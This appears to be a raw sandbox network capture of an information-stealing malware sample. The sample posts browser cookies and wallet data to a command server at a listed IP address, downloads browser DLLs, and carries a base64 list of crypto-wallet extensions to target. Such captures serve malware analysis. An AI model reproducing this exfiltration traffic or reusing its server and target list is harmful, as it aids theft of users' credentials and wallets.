TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Jul 13, 2024 07:07:04.961049080 CEST	199	OUT	POST /570d5d5e8678366c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DHCAECGIEBKJKEBGDHDA Host: 85.28.47.70 Content-Length: 6779 Connection: Keep-Alive Cache-Control: no-cache
Jul 13, 2024 07:07:04.961129904 CEST	6779	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 44 48 43 41 45 43 47 49 45 42 4b 4a 4b 45 42 47 44 48 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 32 32 65 61 36 Data Ascii: ------DHCAECGIEBKJKEBGDHDAContent-Disposition: form-data; name="token"622ea66090471a9c3f237a5364ada0ac579eca3fe4f71d4e840f87f41c8118383ebc9f20------DHCAECGIEBKJKEBGDHDAContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Jul 13, 2024 07:07:05.156681061 CEST	202	IN	HTTP/1.1 200 OK Date: Sat, 13 Jul 2024 05:07:05 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Jul 13, 2024 07:07:05.393719912 CEST	90	OUT	GET /663cea891445d733/sqlite3.dll HTTP/1.1 Host: 85.28.47.70 Cache-Control: no-cache
Jul 13, 2024 07:07:05.571118116 CEST	1236	IN	HTTP/1.1 200 OK Date: Sat, 13 Jul 2024 05:07:05 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 14:30:30 GMT ETag: "10e436-5e7eeebed8d80" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Jul 13, 2024 07:07:05.571190119 CEST	1236	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @B
Jul 13, 2024 07:07:05.571225882 CEST	1236	IN	Data Raw: ec 0c 89 c5 85 db 74 05 83 fb 03 75 2e 89 7c 24 08 89 5c 24 04 89 34 24 e8 19 f7 0a 00 83 ec 0c 89 c5 89 7c 24 08 89 5c 24 04 89 34 24 e8 64 fd ff ff 83 ec 0c 85 c0 75 02 31 ed c7 05 48 67 eb 61 ff ff ff ff 83 c4 1c 89 e8 5b 5e 5f 5d c3 8d b4 26 Data Ascii: tu.\|$\$4$\|$\$4$du1Hga[^_]&+C\|$\$4$w#t\|$\$4$u#u\|$D$4$t&up\|$D$4$rZ\|$D$4$Q
Jul 13, 2024 07:07:05.571259975 CEST	1236	IN	Data Raw: c0 5d c3 55 89 e5 8b 45 08 85 c0 74 07 5d ff 25 78 66 eb 61 5d c3 55 b8 08 00 00 00 89 e5 5d c3 55 31 c0 89 e5 5d c3 55 89 e5 83 ec 18 89 04 24 ff 15 4c 66 eb 61 c9 c3 55 89 e5 83 ec 18 8b 4d 08 85 c9 74 0c 89 0c 24 ff 15 4c 66 eb 61 99 eb 04 31 Data Ascii: ]UEt]%xfa]U]U1]U$LfaUMt$Lfa11UtBtRJ$~HD]UUtB]U1UtB]U1UtJtBB]JvYU@aSuK?
Jul 13, 2024 07:07:06.963584900 CEST	949	OUT	POST /570d5d5e8678366c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DHCAECGIEBKJKEBGDHDA Host: 85.28.47.70 Content-Length: 751 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 48 43 41 45 43 47 49 45 42 4b 4a 4b 45 42 47 44 48 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 32 32 65 61 36 36 30 39 30 34 37 31 61 39 63 33 66 32 33 37 61 35 33 36 34 61 64 61 30 61 63 35 37 39 65 63 61 33 66 65 34 66 37 31 64 34 65 38 34 30 66 38 37 66 34 31 63 38 31 31 38 33 38 33 65 62 63 39 66 32 30 0d 0a 2d 2d 2d 2d 2d 2d 44 48 43 41 45 43 47 49 45 42 4b 4a 4b 45 42 47 44 48 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 44 48 43 41 45 43 47 49 45 42 4b 4a 4b 45 42 47 44 48 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 [TRUNCATED] Data Ascii: ------DHCAECGIEBKJKEBGDHDAContent-Disposition: form-data; name="token"622ea66090471a9c3f237a5364ada0ac579eca3fe4f71d4e840f87f41c8118383ebc9f20------DHCAECGIEBKJKEBGDHDAContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------DHCAECGIEBKJKEBGDHDAContent-Disposition: form-data; name="file"Lmdvb2dsZS5jb20JVFJVRQkvCUZBTFNFCTE2OTkwMTE2MTUJMVBfSkFSCTIwMjMtMTAtMDQtMTMKLmdvb2dsZS5jb20JRkFMU0UJLwlGQUxTRQkxNzEyMjMwODE1CU5JRAk1MTE9RWY1dlBGR3ctTVpZbzVod2UtMFRoQVZzbGJ4Ym12ZFZad2NIbnFWeldIQVUxNHY1M01OMVZ2d3ZRcThiYVlmZzItSUF0cVpCVjVOT0w1cnZqMk5XSXFyejM3N1VoTGRIdE9nRS10SmFCbFVCWUpFaHVHc1FkcW5pM29USmcwYnJxdjFkamRpTEp5dlRTVWhkSy1jNUpXYWRDU3NVTFBMemhTeC1GLTZ3T2c0Cg==------DHCAECGIEBKJKEBGDHDA--
Jul 13, 2024 07:07:07.150415897 CEST	202	IN	HTTP/1.1 200 OK Date: Sat, 13 Jul 2024 05:07:07 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=94 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Jul 13, 2024 07:07:07.272614002 CEST	557	OUT	POST /570d5d5e8678366c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EGCBAFCFIJJJECBGIIJK Host: 85.28.47.70 Content-Length: 359 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 47 43 42 41 46 43 46 49 4a 4a 4a 45 43 42 47 49 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 32 32 65 61 36 36 30 39 30 34 37 31 61 39 63 33 66 32 33 37 61 35 33 36 34 61 64 61 30 61 63 35 37 39 65 63 61 33 66 65 34 66 37 31 64 34 65 38 34 30 66 38 37 66 34 31 63 38 31 31 38 33 38 33 65 62 63 39 66 32 30 0d 0a 2d 2d 2d 2d 2d 2d 45 47 43 42 41 46 43 46 49 4a 4a 4a 45 43 42 47 49 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 5a 57 6c 74 5a 57 68 79 64 6e 70 76 5a 43 35 6d 61 57 78 6c 0d 0a 2d 2d 2d 2d 2d 2d 45 47 43 42 41 46 43 46 49 4a 4a 4a 45 43 42 47 49 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 45 47 43 [TRUNCATED] Data Ascii: ------EGCBAFCFIJJJECBGIIJKContent-Disposition: form-data; name="token"622ea66090471a9c3f237a5364ada0ac579eca3fe4f71d4e840f87f41c8118383ebc9f20------EGCBAFCFIJJJECBGIIJKContent-Disposition: form-data; name="file_name"ZWltZWhydnpvZC5maWxl------EGCBAFCFIJJJECBGIIJKContent-Disposition: form-data; name="file"------EGCBAFCFIJJJECBGIIJK--
Jul 13, 2024 07:07:07.459096909 CEST	202	IN	HTTP/1.1 200 OK Date: Sat, 13 Jul 2024 05:07:07 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=93 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Jul 13, 2024 07:07:09.234317064 CEST	557	OUT	POST /570d5d5e8678366c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EGIDAAFIEHIEHJKFHCAE Host: 85.28.47.70 Content-Length: 359 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 47 49 44 41 41 46 49 45 48 49 45 48 4a 4b 46 48 43 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 32 32 65 61 36 36 30 39 30 34 37 31 61 39 63 33 66 32 33 37 61 35 33 36 34 61 64 61 30 61 63 35 37 39 65 63 61 33 66 65 34 66 37 31 64 34 65 38 34 30 66 38 37 66 34 31 63 38 31 31 38 33 38 33 65 62 63 39 66 32 30 0d 0a 2d 2d 2d 2d 2d 2d 45 47 49 44 41 41 46 49 45 48 49 45 48 4a 4b 46 48 43 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 5a 57 6c 74 5a 57 68 79 64 6e 70 76 5a 43 35 6d 61 57 78 6c 0d 0a 2d 2d 2d 2d 2d 2d 45 47 49 44 41 41 46 49 45 48 49 45 48 4a 4b 46 48 43 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 45 47 49 [TRUNCATED] Data Ascii: ------EGIDAAFIEHIEHJKFHCAEContent-Disposition: form-data; name="token"622ea66090471a9c3f237a5364ada0ac579eca3fe4f71d4e840f87f41c8118383ebc9f20------EGIDAAFIEHIEHJKFHCAEContent-Disposition: form-data; name="file_name"ZWltZWhydnpvZC5maWxl------EGIDAAFIEHIEHJKFHCAEContent-Disposition: form-data; name="file"------EGIDAAFIEHIEHJKFHCAE--
Jul 13, 2024 07:07:09.420877934 CEST	202	IN	HTTP/1.1 200 OK Date: Sat, 13 Jul 2024 05:07:09 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Jul 13, 2024 07:07:09.926688910 CEST	90	OUT	GET /663cea891445d733/freebl3.dll HTTP/1.1 Host: 85.28.47.70 Cache-Control: no-cache
Jul 13, 2024 07:07:10.225707054 CEST	1236	IN	HTTP/1.1 200 OK Date: Sat, 13 Jul 2024 05:07:10 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "a7550-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Jul 13, 2024 07:07:10.899509907 CEST	90	OUT	GET /663cea891445d733/mozglue.dll HTTP/1.1 Host: 85.28.47.70 Cache-Control: no-cache
Jul 13, 2024 07:07:11.077341080 CEST	1236	IN	HTTP/1.1 200 OK Date: Sat, 13 Jul 2024 05:07:10 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "94750-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Jul 13, 2024 07:07:11.500529051 CEST	91	OUT	GET /663cea891445d733/msvcp140.dll HTTP/1.1 Host: 85.28.47.70 Cache-Control: no-cache
Jul 13, 2024 07:07:11.677922010 CEST	1236	IN	HTTP/1.1 200 OK Date: Sat, 13 Jul 2024 05:07:11 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "6dde8-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Jul 13, 2024 07:07:12.064707994 CEST	87	OUT	GET /663cea891445d733/nss3.dll HTTP/1.1 Host: 85.28.47.70 Cache-Control: no-cache
Jul 13, 2024 07:07:12.241993904 CEST	1236	IN	HTTP/1.1 200 OK Date: Sat, 13 Jul 2024 05:07:12 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "1f3950-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Jul 13, 2024 07:07:13.693506002 CEST	91	OUT	GET /663cea891445d733/softokn3.dll HTTP/1.1 Host: 85.28.47.70 Cache-Control: no-cache
Jul 13, 2024 07:07:13.872215033 CEST	1236	IN	HTTP/1.1 200 OK Date: Sat, 13 Jul 2024 05:07:13 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "3ef50-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Jul 13, 2024 07:07:14.129095078 CEST	95	OUT	GET /663cea891445d733/vcruntime140.dll HTTP/1.1 Host: 85.28.47.70 Cache-Control: no-cache
Jul 13, 2024 07:07:14.506082058 CEST	1236	IN	HTTP/1.1 200 OK Date: Sat, 13 Jul 2024 05:07:14 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "13bf0-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Jul 13, 2024 07:07:15.424258947 CEST	199	OUT	POST /570d5d5e8678366c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HCFIIIJJKJKFHIDGDBAK Host: 85.28.47.70 Content-Length: 1067 Connection: Keep-Alive Cache-Control: no-cache
Jul 13, 2024 07:07:15.759115934 CEST	202	IN	HTTP/1.1 200 OK Date: Sat, 13 Jul 2024 05:07:15 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=85 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Jul 13, 2024 07:07:15.924189091 CEST	465	OUT	POST /570d5d5e8678366c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DAAFBAKECAEGCBFIEGDG Host: 85.28.47.70 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 41 41 46 42 41 4b 45 43 41 45 47 43 42 46 49 45 47 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 32 32 65 61 36 36 30 39 30 34 37 31 61 39 63 33 66 32 33 37 61 35 33 36 34 61 64 61 30 61 63 35 37 39 65 63 61 33 66 65 34 66 37 31 64 34 65 38 34 30 66 38 37 66 34 31 63 38 31 31 38 33 38 33 65 62 63 39 66 32 30 0d 0a 2d 2d 2d 2d 2d 2d 44 41 41 46 42 41 4b 45 43 41 45 47 43 42 46 49 45 47 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 44 41 41 46 42 41 4b 45 43 41 45 47 43 42 46 49 45 47 44 47 2d 2d 0d 0a Data Ascii: ------DAAFBAKECAEGCBFIEGDGContent-Disposition: form-data; name="token"622ea66090471a9c3f237a5364ada0ac579eca3fe4f71d4e840f87f41c8118383ebc9f20------DAAFBAKECAEGCBFIEGDGContent-Disposition: form-data; name="message"wallets------DAAFBAKECAEGCBFIEGDG--
